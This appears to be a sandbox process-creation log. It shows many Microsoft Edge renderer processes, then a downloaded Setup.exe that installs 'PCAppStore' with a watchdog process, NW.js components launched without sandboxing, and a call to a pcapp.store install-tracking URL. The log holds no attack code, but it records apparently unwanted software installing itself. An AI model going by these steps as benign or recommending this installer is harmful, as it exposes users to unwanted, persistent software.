"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=126 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8968 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=127 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7948 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=128 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6648 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=129 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8756 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=130 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3772 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=131 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=11072 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=132 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6844 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=133 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=11196 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=134 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=10840 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=135 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=11456 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=136 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=11100 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=137 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5204 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=138 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9896 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=139 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6860 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=140 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9220 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=141 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8108 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=142 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7952 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=143 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7312 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=144 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8128 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=145 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=11508 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=146 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3788 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=147 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6124 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=148 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3324 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=149 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8940 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=150 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9552 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=151 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8996 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=152 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=11344 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=153 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=10712 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=154 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=11152 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=155 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7144 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=156 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=10224 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=157 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8880 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=158 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=10272 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=159 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9880 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=160 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6344 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=161 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=10688 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=162 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6652 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=163 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9560 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=164 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8488 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=166 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9364 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=11204 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=169 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3284 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=8468 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=9928 /prefetch:8

C:\Users\Admin\Downloads\Setup.exe

"C:\Users\Admin\Downloads\Setup.exe"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" https://pcapp.store/installing.php?guid=4FE6C4A2-E24C-4FF6-90F9-E1096F1CC12AX&winver=22000&version=fa.1091o&nocache=20240703033450.428&_fcid=1719977669963213

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x120,0x124,0x128,0xfc,0x12c,0x7ffff1553cb8,0x7ffff1553cc8,0x7ffff1553cd8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=172 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=11220 /prefetch:1

C:\Users\Admin\AppData\Local\Temp\nsdC985.tmp

"C:\Users\Admin\AppData\Local\Temp\nsdC985.tmp" /internal 1719977669963213 /force

C:\Users\Admin\PCAppStore\PcAppStore.exe

"C:\Users\Admin\PCAppStore\PcAppStore.exe" /init default

C:\Users\Admin\PCAppStore\PcAppStoreWatchdog.exe

"C:\Users\Admin\PCAppStore\PcAppStoreWatchdog.exe" /guid=4FE6C4A2-E24C-4FF6-90F9-E1096F1CC12AX /rid=20240703033512.242241179984 /ver=fa.1091o

C:\Users\Admin\PCAppStore\nwjs\NW_store.exe

.\nwjs\NW_store.exe .\ui\.

C:\Users\Admin\PCAppStore\nwjs\NW_store.exe

C:\Users\Admin\PCAppStore\nwjs\NW_store.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\pc_app_store\User Data" /prefetch:4 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\Admin\AppData\Local\pc_app_store\User Data" --monitor-self-argument=/prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\pc_app_store\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\pc_app_store\User Data" --annotation=plat=Win64 --annotation=prod=pc_app_store --annotation=ver=0.1.0 --initial-client-data=0x26c,0x270,0x274,0x268,0x278,0x7fffed03a960,0x7fffed03a970,0x7fffed03a980

C:\Users\Admin\PCAppStore\nwjs\NW_store.exe

C:\Users\Admin\PCAppStore\nwjs\NW_store.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\pc_app_store\User Data" /prefetch:4 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\pc_app_store\User Data\Crashpad" --annotation=plat=Win64 --annotation=prod=pc_app_store --annotation=ver=0.1.0 --initial-client-data=0x1d0,0x1d4,0x1d8,0x150,0x1dc,0x7ff61bef8a60,0x7ff61bef8a70,0x7ff61bef8a80

C:\Users\Admin\PCAppStore\nwjs\NW_store.exe

"C:\Users\Admin\PCAppStore\nwjs\NW_store.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\pc_app_store\User Data" --nwapp-path=".\ui\." --no-appcompat-clear --start-stack-profiler --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=1908 --field-trial-handle=1912,i,9629485765352096545,8125171337817683519,262144 --variations-seed-version /prefetch:2

C:\Users\Admin\PCAppStore\nwjs\NW_store.exe

"C:\Users\Admin\PCAppStore\nwjs\NW_store.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\pc_app_store\User Data" --nwapp-path=".\ui\." --no-appcompat-clear --start-stack-profiler --mojo-platform-channel-handle=2024 --field-trial-handle=1912,i,9629485765352096545,8125171337817683519,262144 --variations-seed-version /prefetch:3

C:\Users\Admin\PCAppStore\nwjs\NW_store.exe

"C:\Users\Admin\PCAppStore\nwjs\NW_store.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\pc_app_store\User Data" --nwapp-path=".\ui\." --no-appcompat-clear --mojo-platform-channel-handle=2404 --field-trial-handle=1912,i,9629485765352096545,8125171337817683519,262144 --variations-seed-version /prefetch:8

C:\Users\Admin\PCAppStore\nwjs\NW_store.exe

"C:\Users\Admin\PCAppStore\nwjs\NW_store.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\pc_app_store\User Data" --nwapp-path=".\ui\." --nwjs --extension-process --no-appcompat-clear --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\PCAppStore\nwjs\gen" --no-zygote --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=3108 --field-trial-handle=1912,i,9629485765352096545,8125171337817683519,262144 --variations-seed-version /prefetch:2

C:\Windows\system32\msiexec.exe

C:\Windows\system32\msiexec.exe /V

C:\Users\Admin\PCAppStore\nwjs\NW_store.exe

"C:\Users\Admin\PCAppStore\nwjs\NW_store.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\pc_app_store\User Data" --nwapp-path=".\ui\." --no-appcompat-clear --mojo-platform-channel-handle=4392 --field-trial-handle=1912,i,9629485765352096545,8125171337817683519,262144 --variations-seed-version /prefetch:8

C:\Users\Admin\PCAppStore\nwjs\NW_store.exe

"C:\Users\Admin\PCAppStore\nwjs\NW_store.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\pc_app_store\User Data" --nwapp-path=".\ui\." --no-appcompat-clear --mojo-platform-channel-handle=4324 --field-trial-handle=1912,i,9629485765352096545,8125171337817683519,262144 --variations-seed-version /prefetch:8

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=173 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6820 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=174 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6580 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=175 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=10632 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=176 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7752 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=177 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=10356 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=178 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=10520 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=179 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7472 /prefetch:1

C:\Users\Admin\PCAppStore\nwjs\NW_store.exe

"C:\Users\Admin\PCAppStore\nwjs\NW_store.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\pc_app_store\User Data" --nwapp-path=".\ui\." --no-appcompat-clear --mojo-platform-channel-handle=4468 --field-trial-handle=1912,i,9629485765352096545,8125171337817683519,262144 --variations-seed-version /prefetch:8

C:\Users\Admin\PCAppStore\nwjs\NW_store.exe

"C:\Users\Admin\PCAppStore\nwjs\NW_store.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\pc_app_store\User Data" --nwapp-path=".\ui\." --no-appcompat-clear --mojo-platform-channel-handle=4504 --field-trial-handle=1912,i,9629485765352096545,8125171337817683519,262144 --variations-seed-version /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=181 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=10688 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
